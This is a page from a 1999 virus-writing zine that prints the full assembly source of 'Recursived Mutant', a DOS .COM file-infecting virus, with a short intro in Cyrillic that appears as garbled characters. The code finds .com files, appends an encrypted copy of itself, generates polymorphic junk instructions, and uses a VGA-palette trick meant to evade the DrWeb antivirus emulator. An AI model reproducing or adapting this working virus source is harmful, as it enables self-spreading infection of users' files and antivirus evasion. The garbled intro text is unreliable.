- [Duke's Virus Labs #7] - [Page 28] -

Recursived Mutant
(c) by CyberShadow/SMF

     : Recursived Mutant
         : CyberShadow/SMF
 ண.   : TASM
 ᮧ : 14.05.99
 AV    : AVP  - Remut.1171 ; ⠫  ஫ ;)


   ᨢ  堭: 筮  㪠.
 ᥪ,     ࠧ । 稥 䭮 
 ""  窥 室 ணࠬ.  CLD, NOP   
 ࠧ 㪠뢠    稥   ( ᫮,  ணࠬ
ࠡ⠥ :-).  ஡  ᤥ ⠪, ⮡  ஢騪
룫拉  ணࠬ,  稫  ࠢ  ਢ,   ⥬  . 
 ᨨ ⠢ ⮢  ,  㬠,   㤥
.      㤥      ⨯  MOV CX,CX     
騥.      ,      ࠡ⪨,  ஡  ⮫쪮  
६.
   , ᮧ    ⮩  ஢ 
⨪ (஢७  DrWeb 4.03  AVP  ).
     ᮮ頩 : cybershadow@mail.ru

===== Cut here =====
.model tiny
.code
org 100h
;--------------------------------------

Const2 = offset EndVirus - offset Start

Begin:
        jmp short start_1
        db 'CS'
        db 90h
start_1:
;--------------------------------------
Start:
        sti
        cld
        mov cx,100
        mov si,80h
        mov di,60800
        rep movsb
        mov ax,cs:[old_length]
        push ax
        mov DX,offset Fname          ;
        sub CX,CX                    ; 諨 p  䠩.
        mov AH,4eh                   ;
        int 21h                      ;
Next:
        cmp word ptr ds:[9ah],60000  ;   60000 
        jna no_exit                  ; -뢠
yes_exit:
        jmp find_next
no_exit:
        cmp word ptr ds:[9ah],4001
        jbe yes_exit
        mov DX,80h+1eh               ;
        mov AX,3d02h                 ; p뫨 䠩.
        int 21h                      ;
        jc yes_exit                  ;
        mov BX,AX                    ;
;      --------------------------------
        mov DX,61000                 ;
        mov si,dx                    ;
        mov CX,4000                  ; ⠥ p 
        mov AH,3fh                   ;
        int 21h                      ;
;      --------------------------------
        cmp word ptr ds:[si+3],'SC'  ; ஢ਬ  ࠦ
        je close_file                ; -뢠
        cmp byte ptr ds:[si],'M'     ;   EXE-譨   ?
        je close_file                ; -뢠
        cmp byte ptr ds:[si],'Z'     ;   EXE-譨   ?
        je close_file                ; -뢠
        mov ax,5700h                 ;
        int 21h                      ; ࠭ ६   䠩
        push dx                      ;
        push cx                      ;
        mov AL,2                     ;
        call Proc1                   ; p⨫   䠩
        inc ah
        mov [old_length],AX          ;
        push bx
        call rnd                     ;
        pop bx                       ;
        and ax,511                   ; ࠭ 砫
        mov dx,61000                 ;    祣-
        mov cx,4000                  ;  RND
        add cx,ax                    ;
        mov ah,40h                   ;
        int 21h                      ;
        xor al,al
        call Proc1
        push si di bx bp             ;࠭ ॣ
        call rnd
        mov cx,const2                ; 
        and ax,31
        add cx,ax
        mov si,offset start          ;㤠   
        mov di,62000                 ;  ᮢ  ⭮ 
        call mutant                  ;䭥 
        pop bp bx di si              ;⠭ ॣ
;      --------------------------------
        mov AH,40h                   ; ᠫ ⥫ 
        int 21h                      ;
;      --------------------------------
        pop cx                       ; ⠭ ६  
        pop dx                       ;
        mov ax,5701h                 ;
        int 21h                      ;
close_file:
        mov AH,3eh                   ; p뫨 䠩
        int 21h                      ;
;      --------------------------------
find_next:
        mov AH,4fh                   ;
        int 21h                      ; ᫥騩 䠩
        jc exit                      ;
        jmp next
;--------------------------------------
exit:
        mov cx,100
        mov di,80h
        mov si,60800
        rep movsb
        mov bx,61000
        pop si
        mov word ptr cs:[bx],0a4f3h
        mov byte ptr cs:[bx+2],0c3h
        mov di,100h
        mov cx,4000
        push di
        push bx
        ret
        db 'Recursived mutant by CyberShadow...' ; 樫 ࠩ
;--------------------------------------
Proc1:
        sub DX,DX                    ;-   䠩
        sub CX,CX                    ;
        mov AH,42h                   ;
        int 21h                      ;
        ret                          ;
;--------------------------------------
;,   ⫨砥 ᫥饩 ᮡ: 砩  
; ॣ஢,      ࠧࠧ 
;,   ⨫ 宦 

mutant:
        call m_adress                ;, ᠬ ᭮!
m_adress:
        pop bp                       ;। . 
        push di cx si di
        in al,40h                    ; 㤥 
        mov cs:[bp+offset cr_1-offset m_adress-1],al
        call rnd
        mov cs:[bp+offset cr_cs-offset m_adress-1],al
        mov cs:[bp+offset cr_cs_1-offset m_adress-1],al
        mov cs:[bp+offset cr_cs_2-offset m_adress-1],al
        mov si,bp
        add si,offset crypted-offset m_adress ;।   ஢騪
        mov al,0e8h                  ;堫 CALL  ஢騪
        stosb
        mov ax,cx
        inc ax
        inc ax
        stosw
        mov ax,'SC'
        stosw
        mov cs:[bp+offset tmp_1-offset m_adress],di ;  㤠 ᪫뢠 ஢ 
        add di,cx              ;, ⥯ 䭥 ஢騪
        mov al,0FAh
        stosb
crypted_1:
        call poly
        lodsb
        or al,al
        je crypted_cs_1
crypted_cs:
        movsb
        dec al
        jne crypted_cs
        jmp short crypted_1
crypted_cs_1:
        movsw
        mov byte ptr cs:[bp+offset no_flag-offset m_adress],1
        call poly
        movsw
        push di
        call poly
        movsw                           ;add ah,64
        movsb
        pop bx
        mov dx,di
        sub dx,bx
        mov byte ptr cs:[bx-1],dl
        call poly                    ; ..
        push di
        movsw
        movsb
        call poly
        movsb
        call poly
        movsw            ;add ah,0   ਫ
        push si
        call rnd
        pop si
        stosb
        mov cs:[bp+offset add_crypt-offset m_adress],al
        inc si
        call poly
        movsb            ; dec cx
        mov byte ptr cs:[bp+offset no_flag-offset m_adress],1
        call poly
        movsw            ;je cr_exit
        movsb            ;jmp cr_3
        mov cx,di
        pop bx
        sub cx,bx
        mov ax,65534
        sub ax,cx
        stosw
        inc si
        inc si
        call poly
        movsw
        pop bx
        pop si cx
        pop dx
        push di                ;࠭ ⥫ 
        mov di,cs:[bp+offset tmp_1-offset m_adress]
        mov ah,cs:[bp+offset cr_1-offset m_adress-1]
crypt_body:
        lodsb
        xor al,ah
        add ah,cs:[bp+offset add_crypt-offset m_adress]
        stosb
        loop crypt_body
        pop di
        mov ax,di
        sub ax,dx
        mov cx,ax
        ret
poly:
        push si bx ax cx
        call rnd
        and bx,15
        inc bl
        xor ch,ch
        mov cl,bl
poly_1:
        push cx
        call poly_command
        pop cx
        loop poly_1
        pop cx ax bx si
        mov byte ptr cs:[bp+offset no_flag-offset m_adress],0
        mov byte ptr cs:[bp+offset no_push-offset m_adress],0
        ret
poly_com:
        cmp byte ptr cs:[bp+offset recurs_tmp-offset m_adress],8
        jae poly_com_1
        inc byte ptr cs:[bp+offset recurs_tmp-offset m_adress]
        mov byte ptr cs:[bp+offset no_push-offset m_adress],1
        call poly_command
poly_com_1:
        dec byte ptr cs:[bp+offset recurs_tmp-offset m_adress]
        ret
poly_command:
        call rnd
        and bx,15
        shl bx,1
        call poly_2
poly_start:                     ;   (,   N 砥!)
        dw offset block_0-offset poly_start
        dw offset block_1-offset poly_start
        dw offset block_2-offset poly_start
        dw offset block_3-offset poly_start
        dw offset block_4-offset poly_start
        dw offset block_5-offset poly_start
        dw offset block_6-offset poly_start
        dw offset block_7-offset poly_start
        dw offset block_8-offset poly_start
        dw offset block_9-offset poly_start
        dw offset block_10-offset poly_start
        dw offset block_11-offset poly_start
        dw offset block_12-offset poly_start
        dw offset block_13-offset poly_start
        dw offset block_14-offset poly_start
        dw offset block_15-offset poly_start
poly_2:
        pop si
        mov bx,cs:[si+bx]
        add bx,si
        jmp bx
block_0:
        mov ax,00ebh
        stosw
        ret
block_1:
        mov al,8bh
        stosb
        call rnd
        and al,7
        mov bl,al
        shl al,3
        add al,bl
        add al,0c0h
        stosb
        ret
block_2:
        cmp byte ptr cs:[bp+offset no_push-offset m_adress],1
        je block_1
        call rnd
        and al,7
        add al,50h
        stosb
        push ax
        call poly_com
        pop ax
        add al,8
        stosb
        ret
block_3:
        call block_3_
        dw 90cch
block_3_:
        pop bx
        mov ax,cs:[bx]
        xchg al,ah
        mov cs:[bx],ax
        stosw
        ret
no_flags_set:
        push si
        call rnd
        pop si
        and bx,3
        shl bx,1
        mov bx,cs:[si+bx]
        add bx,si
        call bx
        ret
block_4:
        cmp byte ptr cs:[bp+offset no_flag-offset m_adress],0
        jne no_flags_set
        mov al,81h
        stosb
        call rnd
        and al,7
        add al,0f8h
        stosb
        call rnd
        mov ah,al
        call rnd
        stosw
        ret
block_5:
        cmp byte ptr cs:[bp+offset no_flag-offset m_adress],0
        jne no_flags_set
        mov al,81h
        stosb
        call rnd
        and al,7
        add al,0f0h
        stosb
        push ax
        call rnd
        push ax
        stosw
        call poly_com
        pop bx
        mov al,81h
        stosb
        pop ax
        stosb
        mov ax,bx
        stosw
        ret
block_6:
        cmp byte ptr cs:[bp+offset no_flag-offset m_adress],0
        jne no_flags_set
        mov al,81h
        stosb
        call rnd
        and al,7
        push ax
        add al,0e8h
        stosb
        call rnd
        mov ah,al
        call rnd
        stosw
        push ax
        call poly_com
        pop bx
        mov al,81h
        stosb
        pop ax
        add al,0c0h
        stosb
        mov ax,bx
        stosw
        ret
block_7:
        cmp byte ptr cs:[bp+offset no_flag-offset m_adress],0
        je no_flags_set_block_7
        jmp no_flags_set
no_flags_set_block_7:
        call rnd
        and al,7
        add al,40h
        stosb
        push ax
        call poly_com
        pop ax
        add al,8
        stosb
        ret
block_8:
        cmp byte ptr cs:[bp+offset no_flag-offset m_adress],0
        je flags_set_8
        jmp no_flags_set
flags_set_8:
        mov cl,3bh
        call rnd
        cmp ax,127
        ja short flags_set_8_1
        mov cl,3ah
flags_set_8_1:
        mov al,cl
        stosb
        call rnd
        and al,63
        add al,0c0h
        stosb
        ret
block_9:
        cmp byte ptr cs:[bp+offset no_flag-offset m_adress],0
        je flags_set_9
        jmp no_flags_set
flags_set_9:
        mov al,0bh
        stosb
        call rnd
        and al,7
        mov bl,al
        shl al,3
        add al,bl
        add al,0c0h
        stosb
        ret
block_10:
        cmp byte ptr cs:[bp+offset no_flag-offset m_adress],0
        je flags_set_10
        jmp no_flags_set
flags_set_10:
        call rnd
        and bx,7
        call block_10_1
        db 0f5h,0f8h,0f9h,0fah,0fch,0fdh,90h,0cch
block_10_1:
        pop si
        mov al,cs:[si+bx]
        stosb
        ret
block_11:
        cmp byte ptr cs:[bp+offset no_flag-offset m_adress],0
        je flags_set_11
        jmp no_flags_set
flags_set_11:
        mov al,0ah
        stosb
        call rnd
        and ax,7
        mov bl,al
        shl al,3
        add al,bl
        add al,0c0h
        stosb
        ret
block_12:
        cmp byte ptr cs:[bp+offset no_flag-offset m_adress],0
        je flags_set_12
        jmp no_flags_set
flags_set_12:
        mov al,85h
flags_set_1213:
        stosb
        call rnd
        and ax,63
        add al,0c0h
        stosb
        ret
block_13:
        cmp byte ptr cs:[bp+offset no_flag-offset m_adress],0
        je flags_set_13
        jmp no_flags_set
flags_set_13:
        mov al,84h
        jmp short flags_set_1213

block_14:
        cmp byte ptr cs:[bp+offset no_flag-offset m_adress],0
        je flags_set_14
        jmp no_flags_set
flags_set_14:
        mov al,80h
        stosb
        call rnd
        and al,7
        add al,0f0h
        stosb
        push ax
        call rnd
        stosb
        push ax
        call poly_com
        pop bx
        mov al,80h
        stosb
        pop ax
        stosb
        mov ax,bx
        stosb
        ret
block_15:
        jmp block_10
rnd:
        call rnd_1
        db 103
        db 220
        db 30
rnd_1:
        pop si
        mov al,cs:[si]
        add al,cs:[si+1]
        mov cs:[si],al
        add al,cs:[si+2]
        mov cs:[si+1],al
        ror al,1
        mov cs:[si+2],al
        xor bh,bh
        mov bl,al
        ret
crypted:                        ;ᮡ⢥ ஢騪
        db 3
        mov cx,Const2           ;3 - 
        db 1
        pop si                  ;1
        db 2
        xor bp,bp               ;2
        db 3
        add si,2                ;3
        db 2
        mov ah,0                ;2
cr_1:                                   ;new fuck for DrWEB
        db 3
        mov dx,3c7h             ;3        ;palette init for read
        db 2
        mov al,0                ;2
cr_cs:
        db 1
        out dx,al               ;1
        db 1
        inc dx                  ;1
        db 1
        inc dx                  ;1
        db 1
        in al,dx                ;1      ;read it!
        db 1
        in al,dx                ;1      ;read it!
        db 1
        in al,dx                ;1      ;read it!
        db 2
        inc al                  ;1      ;change it
        db 2
        and al,63               ;2
        db 2
        mov bh,al               ;2      ;push it
        db 1
        dec dx                  ;1
        db 2
        mov al,0                ;2      ;palette init for write
cr_cs_1:
        db 1
        out dx,al               ;1
        db 1
        inc dx                  ;1
        db 2
        mov al,bh               ;2
        db 1
        out dx,al               ;1      ;write it!
        db 1
        out dx,al               ;1      ;write it!
        db 1
        out dx,al               ;1      ;write it!
        db 1
        dec dx                  ;1
        db 1
        dec dx                  ;1
        db 2
        mov al,0                ;2      ;palette init for read again
cr_cs_2:
        db 1
        out dx,al               ;1
        db 1
        inc dx                  ;1
        db 1
        inc dx                  ;1
        db 1
        in al,dx                ;1      ;read it! (fuck, i hate comments...)
        db 1
        in al,dx                ;1      ;read it! (fuck, i hate comments...)
        db 1
        in al,dx                ;1      ;read it! (fuck, i hate comments...)
        db 0
        cmp al,bh               ;2      ;so, dear DrWEB 4.03, could you did it?
        je cr_3                 ;2      ;We under DOS, no DrWEB
        add ah,64               ;3      ;AHA, let's fuck DrWEB !!!!!!!!!!!!!
cr_3:
        xor cs:[bp+si],ah       ;3
        inc bp                  ;1
        add ah,0                ;3

        dec cx                  ;1
        je short cr_exit        ;2
        db 0e9h,0,0             ;3
cr_exit:
        jmp si                  ;2
Fname           db '*.com',0         ; ᪠ 䠩
no_flag db 0
no_push db 0
add_crypt db 0
tmp_1 dw 0
recurs_tmp db 0
old_length dw 0

EndVirus:                            ;   !!!!
;--------------------------------------
end begin
===== Cut here =====
